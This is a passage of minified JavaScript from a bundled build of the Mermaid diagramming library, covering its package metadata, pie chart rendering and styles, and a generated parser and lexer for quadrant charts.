Sveidqvist",license:"MIT",standard:{ignore:["**/parser/*.js","dist/**/*.js","cypress/**/*.js"],globals:["page"]},dependencies:{"@braintree/sanitize-url":"^7.1.1","@iconify/utils":"^3.0.1","@mermaid-js/parser":"workspace:^","@types/d3":"^7.4.3",cytoscape:"^3.29.3","cytoscape-cose-bilkent":"^4.1.0","cytoscape-fcose":"^2.2.0",d3:"^7.9.0","d3-sankey":"^0.12.3","dagre-d3-es":"7.0.11",dayjs:"^1.11.18",dompurify:"^3.2.5",katex:"^0.16.22",khroma:"^2.1.0","lodash-es":"^4.17.21",marked:"^16.2.1",roughjs:"^4.6.6",stylis:"^4.3.6","ts-dedent":"^2.2.0",uuid:"^11.1.0"},devDependencies:{"@adobe/jsonschema2md":"^8.0.5","@iconify/types":"^2.0.0","@types/cytoscape":"^3.21.9","@types/cytoscape-fcose":"^2.2.4","@types/d3-sankey":"^0.12.4","@types/d3-scale":"^4.0.9","@types/d3-scale-chromatic":"^3.1.0","@types/d3-selection":"^3.0.11","@types/d3-shape":"^3.1.7","@types/jsdom":"^21.1.7","@types/katex":"^0.16.7","@types/lodash-es":"^4.17.12","@types/micromatch":"^4.0.9","@types/stylis":"^4.2.7","@types/uuid":"^10.0.0",ajv:"^8.17.1",canvas:"^3.1.2",chokidar:"3.6.0",concurrently:"^9.1.2","csstree-validator":"^4.0.1",globby:"^14.1.0",jison:"^0.4.18","js-base64":"^3.7.8",jsdom:"^26.1.0","json-schema-to-typescript":"^15.0.4",micromatch:"^4.0.8","path-browserify":"^1.0.1",prettier:"^3.5.3",remark:"^15.0.1","remark-frontmatter":"^5.0.0","remark-gfm":"^4.0.1",rimraf:"^6.0.1","start-server-and-test":"^2.0.13","type-fest":"^4.35.0",typedoc:"^0.28.12","typedoc-plugin-markdown":"^4.8.1",typescript:"~5.7.3","unist-util-flatmap":"^1.0.0","unist-util-visit":"^5.0.0",vitepress:"^1.6.4","vitepress-plugin-search":"1.0.4-alpha.22"},files:["dist/","README.md"],publishConfig:{access:"public"}}});var BQe,FQe,y1e,v1e=N(()=>{"use strict";IF();BQe={version:g4.version+""},FQe=o(()=>BQe.version,"getVersion"),y1e={getVersion:FQe}});var aa,tu=N(()=>{"use strict";yr();Xt();aa=o(t=>{let{securityLevel:e}=ge(),r=qe("body");if(e==="sandbox"){let a=qe(`#i${t}`).node()?.contentDocument??document;r=qe(a.body)}return r.select(`#${t}`)},"selectSvgElement")});var $Qe,x1e,b1e=N(()=>{"use strict";pt();tu();Ei();$Qe=o((t,e,r)=>{X.debug(`rendering info diagram +`+t);let n=aa(e);mn(n,100,400,!0),n.append("g").append("text").attr("x",100).attr("y",40).attr("class","version").attr("font-size",32).style("text-anchor","middle").text(`v${r}`)},"draw"),x1e={draw:$Qe}});var T1e={};dr(T1e,{diagram:()=>zQe});var zQe,w1e=N(()=>{"use strict";g1e();v1e();b1e();zQe={parser:m1e,db:y1e,renderer:x1e}});var S1e,OF,z6,PF,UQe,HQe,qQe,WQe,YQe,XQe,jQe,G6,BF=N(()=>{"use strict";pt();ci();La();S1e=ur.pie,OF={sections:new Map,showData:!1,config:S1e},z6=OF.sections,PF=OF.showData,UQe=structuredClone(S1e),HQe=o(()=>structuredClone(UQe),"getConfig"),qQe=o(()=>{z6=new Map,PF=OF.showData,Sr()},"clear"),WQe=o(({label:t,value:e})=>{if(e<0)throw new Error(`"${t}" has invalid value: ${e}. Negative values are not allowed in pie charts. All slice values must be >= 0.`);z6.has(t)||(z6.set(t,e),X.debug(`added new section: ${t}, with value: ${e}`))},"addSection"),YQe=o(()=>z6,"getSections"),XQe=o(t=>{PF=t},"setShowData"),jQe=o(()=>PF,"getShowData"),G6={getConfig:HQe,clear:qQe,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:WQe,getSections:YQe,setShowData:XQe,getShowData:jQe}});var KQe,C1e,A1e=N(()=>{"use strict";Uf();pt();r0();BF();KQe=o((t,e)=>{nl(t,e),e.setShowData(t.showData),t.sections.map(e.addSection)},"populateDb"),C1e={parse:o(async t=>{let e=await bs("pie",t);X.debug(e),KQe(e,G6)},"parse")}});var QQe,_1e,D1e=N(()=>{"use strict";QQe=o(t=>` + .pieCircle{ + stroke: ${t.pieStrokeColor}; + stroke-width : ${t.pieStrokeWidth}; + opacity : ${t.pieOpacity}; + } + .pieOuterCircle{ + stroke: ${t.pieOuterStrokeColor}; + stroke-width: ${t.pieOuterStrokeWidth}; + fill: none; + } + .pieTitleText { + text-anchor: middle; + font-size: ${t.pieTitleTextSize}; + fill: ${t.pieTitleTextColor}; + font-family: ${t.fontFamily}; + } + .slice { + font-family: ${t.fontFamily}; + fill: ${t.pieSectionTextColor}; + font-size:${t.pieSectionTextSize}; + // fill: white; + } + .legend text { + fill: ${t.pieLegendTextColor}; + font-family: ${t.fontFamily}; + font-size: ${t.pieLegendTextSize}; + } +`,"getStyles"),_1e=QQe});var ZQe,JQe,L1e,R1e=N(()=>{"use strict";yr();Xt();pt();tu();Ei();tr();ZQe=o(t=>{let e=[...t.values()].reduce((i,a)=>i+a,0),r=[...t.entries()].map(([i,a])=>({label:i,value:a})).filter(i=>i.value/e*100>=1).sort((i,a)=>a.value-i.value);return X5().value(i=>i.value)(r)},"createPieArcs"),JQe=o((t,e,r,n)=>{X.debug(`rendering pie chart +`+t);let i=n.db,a=ge(),s=Vn(i.getConfig(),a.pie),l=40,u=18,h=4,f=450,d=f,p=aa(e),m=p.append("g");m.attr("transform","translate("+d/2+","+f/2+")");let{themeVariables:g}=a,[y]=vc(g.pieOuterStrokeWidth);y??=2;let v=s.textPosition,x=Math.min(d,f)/2-l,b=Sl().innerRadius(0).outerRadius(x),T=Sl().innerRadius(x*v).outerRadius(x*v);m.append("circle").attr("cx",0).attr("cy",0).attr("r",x+y/2).attr("class","pieOuterCircle");let S=i.getSections(),w=ZQe(S),k=[g.pie1,g.pie2,g.pie3,g.pie4,g.pie5,g.pie6,g.pie7,g.pie8,g.pie9,g.pie10,g.pie11,g.pie12],A=0;S.forEach(_=>{A+=_});let C=w.filter(_=>(_.data.value/A*100).toFixed(0)!=="0"),R=no(k);m.selectAll("mySlices").data(C).enter().append("path").attr("d",b).attr("fill",_=>R(_.data.label)).attr("class","pieCircle"),m.selectAll("mySlices").data(C).enter().append("text").text(_=>(_.data.value/A*100).toFixed(0)+"%").attr("transform",_=>"translate("+T.centroid(_)+")").style("text-anchor","middle").attr("class","slice"),m.append("text").text(i.getDiagramTitle()).attr("x",0).attr("y",-(f-50)/2).attr("class","pieTitleText");let I=[...S.entries()].map(([_,O])=>({label:_,value:O})),L=m.selectAll(".legend").data(I).enter().append("g").attr("class","legend").attr("transform",(_,O)=>{let M=u+h,P=M*I.length/2,B=12*u,F=O*M-P;return"translate("+B+","+F+")"});L.append("rect").attr("width",u).attr("height",u).style("fill",_=>R(_.label)).style("stroke",_=>R(_.label)),L.append("text").attr("x",u+h).attr("y",u-h).text(_=>i.getShowData()?`${_.label} [${_.value}]`:_.label);let E=Math.max(...L.selectAll("text").nodes().map(_=>_?.getBoundingClientRect().width??0)),D=d+l+u+h+E;p.attr("viewBox",`0 0 ${D} ${f}`),mn(p,f,D,s.useMaxWidth)},"draw"),L1e={draw:JQe}});var N1e={};dr(N1e,{diagram:()=>eZe});var eZe,M1e=N(()=>{"use strict";A1e();BF();D1e();R1e();eZe={parser:C1e,db:G6,renderer:L1e,styles:_1e}});var FF,O1e,P1e=N(()=>{"use strict";FF=(function(){var t=o(function(he,z,se,le){for(se=se||{},le=he.length;le--;se[he[le]]=z);return se},"o"),e=[1,3],r=[1,4],n=[1,5],i=[1,6],a=[1,7],s=[1,4,5,10,12,13,14,18,25,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],l=[1,4,5,10,12,13,14,18,25,28,35,37,39,41,42,48,50,51,52,53,54,55,56,57,60,61,63,64,65,66,67],u=[55,56,57],h=[2,36],f=[1,37],d=[1,36],p=[1,38],m=[1,35],g=[1,43],y=[1,41],v=[1,14],x=[1,23],b=[1,18],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,24],C=[1,25],R=[1,26],I=[1,27],L=[1,28],E=[1,29],D=[1,32],_=[1,33],O=[1,34],M=[1,39],P=[1,40],B=[1,42],F=[1,44],G=[1,62],$=[1,61],U=[4,5,8,10,12,13,14,18,44,47,49,55,56,57,63,64,65,66,67],j=[1,65],te=[1,66],Y=[1,67],oe=[1,68],J=[1,69],ue=[1,70],re=[1,71],ee=[1,72],Z=[1,73],K=[1,74],ae=[1,75],Q=[1,76],de=[4,5,6,7,8,9,10,11,12,13,14,15,18],ne=[1,90],Te=[1,91],q=[1,92],Ve=[1,99],pe=[1,93],Be=[1,96],Ye=[1,94],He=[1,95],Le=[1,97],Ie=[1,98],Ne=[1,102],Ce=[10,55,56,57],Fe=[4,5,6,8,10,11,13,17,18,19,20,55,56,57],fe={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,idStringToken:3,ALPHA:4,NUM:5,NODE_STRING:6,DOWN:7,MINUS:8,DEFAULT:9,COMMA:10,COLON:11,AMP:12,BRKT:13,MULT:14,UNICODE_TEXT:15,styleComponent:16,UNIT:17,SPACE:18,STYLE:19,PCT:20,idString:21,style:22,stylesOpt:23,classDefStatement:24,CLASSDEF:25,start:26,eol:27,QUADRANT:28,document:29,line:30,statement:31,axisDetails:32,quadrantDetails:33,points:34,title:35,title_value:36,acc_title:37,acc_title_value:38,acc_descr:39,acc_descr_value:40,acc_descr_multiline_value:41,section:42,text:43,point_start:44,point_x:45,point_y:46,class_name:47,"X-AXIS":48,"AXIS-TEXT-DELIMITER":49,"Y-AXIS":50,QUADRANT_1:51,QUADRANT_2:52,QUADRANT_3:53,QUADRANT_4:54,NEWLINE:55,SEMI:56,EOF:57,alphaNumToken:58,textNoTagsToken:59,STR:60,MD_STR:61,alphaNum:62,PUNCTUATION:63,PLUS:64,EQUALS:65,DOT:66,UNDERSCORE:67,$accept:0,$end:1},terminals_:{2:"error",4:"ALPHA",5:"NUM",6:"NODE_STRING",7:"DOWN",8:"MINUS",9:"DEFAULT",10:"COMMA",11:"COLON",12:"AMP",13:"BRKT",14:"MULT",15:"UNICODE_TEXT",17:"UNIT",18:"SPACE",19:"STYLE",20:"PCT",25:"CLASSDEF",28:"QUADRANT",35:"title",36:"title_value",37:"acc_title",38:"acc_title_value",39:"acc_descr",40:"acc_descr_value",41:"acc_descr_multiline_value",42:"section",44:"point_start",45:"point_x",46:"point_y",47:"class_name",48:"X-AXIS",49:"AXIS-TEXT-DELIMITER",50:"Y-AXIS",51:"QUADRANT_1",52:"QUADRANT_2",53:"QUADRANT_3",54:"QUADRANT_4",55:"NEWLINE",56:"SEMI",57:"EOF",60:"STR",61:"MD_STR",63:"PUNCTUATION",64:"PLUS",65:"EQUALS",66:"DOT",67:"UNDERSCORE"},productions_:[0,[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[3,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[16,1],[21,1],[21,2],[22,1],[22,2],[23,1],[23,3],[24,5],[26,2],[26,2],[26,2],[29,0],[29,2],[30,2],[31,0],[31,1],[31,2],[31,1],[31,1],[31,1],[31,2],[31,2],[31,2],[31,1],[31,1],[34,4],[34,5],[34,5],[34,6],[32,4],[32,3],[32,2],[32,4],[32,3],[32,2],[33,2],[33,2],[33,2],[33,2],[27,1],[27,1],[27,1],[43,1],[43,2],[43,1],[43,1],[62,1],[62,2],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[58,1],[59,1],[59,1],[59,1]],performAction:o(function(z,se,le,ke,ve,ye,Re){var _e=ye.length-1;switch(ve){case 23:this.$=ye[_e];break;case 24:this.$=ye[_e-1]+""+ye[_e];break;case 26:this.$=ye[_e-1]+ye[_e];break;case 27:this.$=[ye[_e].trim()];break;case 28:ye[_e-2].push(ye[_e].trim()),this.$=ye[_e-2];break;case 29:this.$=ye[_e-4],ke.addClass(ye[_e-2],ye[_e]);break;case 37:this.$=[];break;case 42:this.$=ye[_e].trim(),ke.setDiagramTitle(this.$);break;case 43:this.$=ye[_e].trim(),ke.setAccTitle(this.$);break;case 44:case 45:this.$=ye[_e].trim(),ke.setAccDescription(this.$);break;case 46:ke.addSection(ye[_e].substr(8)),this.$=ye[_e].substr(8);break;case 47:ke.addPoint(ye[_e-3],"",ye[_e-1],ye[_e],[]);break;case 48:ke.addPoint(ye[_e-4],ye[_e-3],ye[_e-1],ye[_e],[]);break;case 49:ke.addPoint(ye[_e-4],"",ye[_e-2],ye[_e-1],ye[_e]);break;case 50:ke.addPoint(ye[_e-5],ye[_e-4],ye[_e-2],ye[_e-1],ye[_e]);break;case 51:ke.setXAxisLeftText(ye[_e-2]),ke.setXAxisRightText(ye[_e]);break;case 52:ye[_e-1].text+=" \u27F6 ",ke.setXAxisLeftText(ye[_e-1]);break;case 53:ke.setXAxisLeftText(ye[_e]);break;case 54:ke.setYAxisBottomText(ye[_e-2]),ke.setYAxisTopText(ye[_e]);break;case 55:ye[_e-1].text+=" \u27F6 ",ke.setYAxisBottomText(ye[_e-1]);break;case 56:ke.setYAxisBottomText(ye[_e]);break;case 57:ke.setQuadrant1Text(ye[_e]);break;case 58:ke.setQuadrant2Text(ye[_e]);break;case 59:ke.setQuadrant3Text(ye[_e]);break;case 60:ke.setQuadrant4Text(ye[_e]);break;case 64:this.$={text:ye[_e],type:"text"};break;case 65:this.$={text:ye[_e-1].text+""+ye[_e],type:ye[_e-1].type};break;case 66:this.$={text:ye[_e],type:"text"};break;case 67:this.$={text:ye[_e],type:"markdown"};break;case 68:this.$=ye[_e];break;case 69:this.$=ye[_e-1]+""+ye[_e];break}},"anonymous"),table:[{18:e,26:1,27:2,28:r,55:n,56:i,57:a},{1:[3]},{18:e,26:8,27:2,28:r,55:n,56:i,57:a},{18:e,26:9,27:2,28:r,55:n,56:i,57:a},t(s,[2,33],{29:10}),t(l,[2,61]),t(l,[2,62]),t(l,[2,63]),{1:[2,30]},{1:[2,31]},t(u,h,{30:11,31:12,24:13,32:15,33:16,34:17,43:30,58:31,1:[2,32],4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(s,[2,34]),{27:45,55:n,56:i,57:a},t(u,[2,37]),t(u,h,{24:13,32:15,33:16,34:17,43:30,58:31,31:46,4:f,5:d,10:p,12:m,13:g,14:y,18:v,25:x,35:b,37:T,39:S,41:w,42:k,48:A,50:C,51:R,52:I,53:L,54:E,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,39]),t(u,[2,40]),t(u,[2,41]),{36:[1,47]},{38:[1,48]},{40:[1,49]},t(u,[2,45]),t(u,[2,46]),{18:[1,50]},{4:f,5:d,10:p,12:m,13:g,14:y,43:51,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:52,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:53,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:54,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:55,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,10:p,12:m,13:g,14:y,43:56,58:31,60:D,61:_,63:O,64:M,65:P,66:B,67:F},{4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,44:[1,57],47:[1,58],58:60,59:59,63:O,64:M,65:P,66:B,67:F},t(U,[2,64]),t(U,[2,66]),t(U,[2,67]),t(U,[2,70]),t(U,[2,71]),t(U,[2,72]),t(U,[2,73]),t(U,[2,74]),t(U,[2,75]),t(U,[2,76]),t(U,[2,77]),t(U,[2,78]),t(U,[2,79]),t(U,[2,80]),t(s,[2,35]),t(u,[2,38]),t(u,[2,42]),t(u,[2,43]),t(u,[2,44]),{3:64,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,21:63},t(u,[2,53],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,77],63:O,64:M,65:P,66:B,67:F}),t(u,[2,56],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,49:[1,78],63:O,64:M,65:P,66:B,67:F}),t(u,[2,57],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,58],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,59],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,60],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),{45:[1,79]},{44:[1,80]},t(U,[2,65]),t(U,[2,81]),t(U,[2,82]),t(U,[2,83]),{3:82,4:j,5:te,6:Y,7:oe,8:J,9:ue,10:re,11:ee,12:Z,13:K,14:ae,15:Q,18:[1,81]},t(de,[2,23]),t(de,[2,1]),t(de,[2,2]),t(de,[2,3]),t(de,[2,4]),t(de,[2,5]),t(de,[2,6]),t(de,[2,7]),t(de,[2,8]),t(de,[2,9]),t(de,[2,10]),t(de,[2,11]),t(de,[2,12]),t(u,[2,52],{58:31,43:83,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),t(u,[2,55],{58:31,43:84,4:f,5:d,10:p,12:m,13:g,14:y,60:D,61:_,63:O,64:M,65:P,66:B,67:F}),{46:[1,85]},{45:[1,86]},{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:88,23:87},t(de,[2,24]),t(u,[2,51],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,54],{59:59,58:60,4:f,5:d,8:G,10:p,12:m,13:g,14:y,18:$,63:O,64:M,65:P,66:B,67:F}),t(u,[2,47],{22:88,16:89,23:100,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{46:[1,101]},t(u,[2,29],{10:Ne}),t(Ce,[2,27],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),t(Fe,[2,25]),t(Fe,[2,13]),t(Fe,[2,14]),t(Fe,[2,15]),t(Fe,[2,16]),t(Fe,[2,17]),t(Fe,[2,18]),t(Fe,[2,19]),t(Fe,[2,20]),t(Fe,[2,21]),t(Fe,[2,22]),t(u,[2,49],{10:Ne}),t(u,[2,48],{22:88,16:89,23:104,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie}),{4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,16:89,17:Ye,18:He,19:Le,20:Ie,22:105},t(Fe,[2,26]),t(u,[2,50],{10:Ne}),t(Ce,[2,28],{16:103,4:ne,5:Te,6:q,8:Ve,11:pe,13:Be,17:Ye,18:He,19:Le,20:Ie})],defaultActions:{8:[2,30],9:[2,31]},parseError:o(function(z,se){if(se.recoverable)this.trace(z);else{var le=new Error(z);throw le.hash=se,le}},"parseError"),parse:o(function(z){var se=this,le=[0],ke=[],ve=[null],ye=[],Re=this.table,_e="",ze=0,Ke=0,xt=0,We=2,Oe=1,et=ye.slice.call(arguments,1),Ue=Object.create(this.lexer),lt={yy:{}};for(var Gt in this.yy)Object.prototype.hasOwnProperty.call(this.yy,Gt)&&(lt.yy[Gt]=this.yy[Gt]);Ue.setInput(z,lt.yy),lt.yy.lexer=Ue,lt.yy.parser=this,typeof Ue.yylloc>"u"&&(Ue.yylloc={});var vt=Ue.yylloc;ye.push(vt);var Lt=Ue.options&&Ue.options.ranges;typeof lt.yy.parseError=="function"?this.parseError=lt.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function dt(Se){le.length=le.length-2*Se,ve.length=ve.length-Se,ye.length=ye.length-Se}o(dt,"popStack");function nt(){var Se;return Se=ke.pop()||Ue.lex()||Oe,typeof Se!="number"&&(Se instanceof Array&&(ke=Se,Se=ke.pop()),Se=se.symbols_[Se]||Se),Se}o(nt,"lex");for(var bt,wt,yt,ft,Ur,_t,bn={},Br,cr,ar,_r;;){if(yt=le[le.length-1],this.defaultActions[yt]?ft=this.defaultActions[yt]:((bt===null||typeof bt>"u")&&(bt=nt()),ft=Re[yt]&&Re[yt][bt]),typeof ft>"u"||!ft.length||!ft[0]){var Ct="";_r=[];for(Br in Re[yt])this.terminals_[Br]&&Br>We&&_r.push("'"+this.terminals_[Br]+"'");Ue.showPosition?Ct="Parse error on line "+(ze+1)+`: +`+Ue.showPosition()+` +Expecting `+_r.join(", ")+", got '"+(this.terminals_[bt]||bt)+"'":Ct="Parse error on line "+(ze+1)+": Unexpected "+(bt==Oe?"end of input":"'"+(this.terminals_[bt]||bt)+"'"),this.parseError(Ct,{text:Ue.match,token:this.terminals_[bt]||bt,line:Ue.yylineno,loc:vt,expected:_r})}if(ft[0]instanceof Array&&ft.length>1)throw new Error("Parse Error: multiple actions possible at state: "+yt+", token: "+bt);switch(ft[0]){case 1:le.push(bt),ve.push(Ue.yytext),ye.push(Ue.yylloc),le.push(ft[1]),bt=null,wt?(bt=wt,wt=null):(Ke=Ue.yyleng,_e=Ue.yytext,ze=Ue.yylineno,vt=Ue.yylloc,xt>0&&xt--);break;case 2:if(cr=this.productions_[ft[1]][1],bn.$=ve[ve.length-cr],bn._$={first_line:ye[ye.length-(cr||1)].first_line,last_line:ye[ye.length-1].last_line,first_column:ye[ye.length-(cr||1)].first_column,last_column:ye[ye.length-1].last_column},Lt&&(bn._$.range=[ye[ye.length-(cr||1)].range[0],ye[ye.length-1].range[1]]),_t=this.performAction.apply(bn,[_e,Ke,ze,lt.yy,ft[1],ve,ye].concat(et)),typeof _t<"u")return _t;cr&&(le=le.slice(0,-1*cr*2),ve=ve.slice(0,-1*cr),ye=ye.slice(0,-1*cr)),le.push(this.productions_[ft[1]][0]),ve.push(bn.$),ye.push(bn._$),ar=Re[le[le.length-2]][le[le.length-1]],le.push(ar);break;case 3:return!0}}return!0},"parse")},xe=(function(){var he={EOF:1,parseError:o(function(se,le){if(this.yy.parser)this.yy.parser.parseError(se,le);else throw new Error(se)},"parseError"),setInput:o(function(z,se){return this.yy=se||this.yy||{},this._input=z,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var z=this._input[0];this.yytext+=z,this.yyleng++,this.offset++,this.match+=z,this.matched+=z;var se=z.match(/(?:\r\n?|\n).*/g);return se?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),z},"input"),unput:o(function(z){var se=z.length,le=z.split(/(?:\r\n?|\n)/g);this._input=z+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-se),this.offset-=se;var ke=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),le.length-1&&(this.yylineno-=le.length-1);var ve=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:le?(le.length===ke.length?this.yylloc.first_column:0)+ke[ke.length-le.length].length-le[0].length:this.yylloc.first_column-se},this.options.ranges&&(this.yylloc.range=[ve[0],ve[0]+this.yyleng-se]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(z){this.unput(this.match.slice(z))},"less"),pastInput:o(function(){var z=this.matched.substr(0,this.matched.length-this.match.length);return(z.length>20?"...":"")+z.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var z=this.match;return z.length<20&&(z+=this._input.substr(0,20-z.length)),(z.substr(0,20)+(z.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var z=this.pastInput(),se=new Array(z.length+1).join("-");return z+this.upcomingInput()+` +`+se+"^"},"showPosition"),test_match:o(function(z,se){var le,ke,ve;if(this.options.backtrack_lexer&&(ve={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(ve.yylloc.range=this.yylloc.range.slice(0))),ke=z[0].match(/(?:\r\n?|\n).*/g),ke&&(this.yylineno+=ke.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ke?ke[ke.length-1].length-ke[ke.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+z[0].length},this.yytext+=z[0],this.match+=z[0],this.matches=z,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(z[0].length),this.matched+=z[0],le=this.performAction.call(this,this.yy,this,se,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),le)return le;if(this._backtrack){for(var ye in ve)this[ye]=ve[ye];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var z,se,le,ke;this._more||(this.yytext="",this.match="");for(var ve=this._currentRules(),ye=0;yese[0].length)){if(se=le,ke=ye,this.options.backtrack_lexer){if(z=this.test_match(le,ve[ye]),z!==!1)return z;if(this._backtrack){se=!1;continue}else return!1}else if(!this.options.flex)break}return se?(z=this.test_match(se,ve[ke]),z!==!1?z:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var se=this.next();return se||this.lex()},"lex"),begin:o(function(se){this.conditionStack.push(se)},"begin"),popState:o(function(){var se=this.conditionStack.length-1;return se>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(se){return se=this.conditionStack.length-1-Math.abs(se||0),se>=0?this.conditionStack[se]:"INITIAL"},"topState"),pushState:o(function(se){this.begin(se)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(se,le,ke,ve){var ye=ve;switch(ke){case 0:break;case 1:break;case 2:return 55;case 3:break;case 4:return this.begin("title"),35;break;case 5:return this.popState(),"title_value";break;case 6:return this.begin("acc_title"),37;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),39;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:return 48;case 14:return 50;case 15:return 49;case 16:return 51;case 17:return 52;case 18:return 53;case 19:return 54;case 20:return 25;case 21:this.begin("md_string");break;case 22:return"MD_STR";case 23:this.popState();break;case 24:this.begin("string");break;case 25:this.popState();break;case 26:return"STR";case 27:this.begin("class_name");break;case 28:return this.popState(),47;break;case 29:return this.begin("point_start"),44;break;case 30:return this.begin("point_x"),45;break;case 31:this.popState();break;case 32:this.popState(),this.begin("point_y");break;case 33:return this.popState(),46;break;case 34:return 28;case 35:return 4;case 36:return 11;case 37:return 64;case 38:return 10;case 39:return 65;case 40:return 65;case 41:return 14;case 42:return 13;case 43:return 67;case 44:return 66;case 45:return 12;case 46:return 8;case 47:return 5;case 48:return 18;case 49:return 56;case 50:return 63;case 51:return 57}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?: *x-axis *)/i,/^(?: *y-axis *)/i,/^(?: *--+> *)/i,/^(?: *quadrant-1 *)/i,/^(?: *quadrant-2 *)/i,/^(?: *quadrant-3 *)/i,/^(?: *quadrant-4 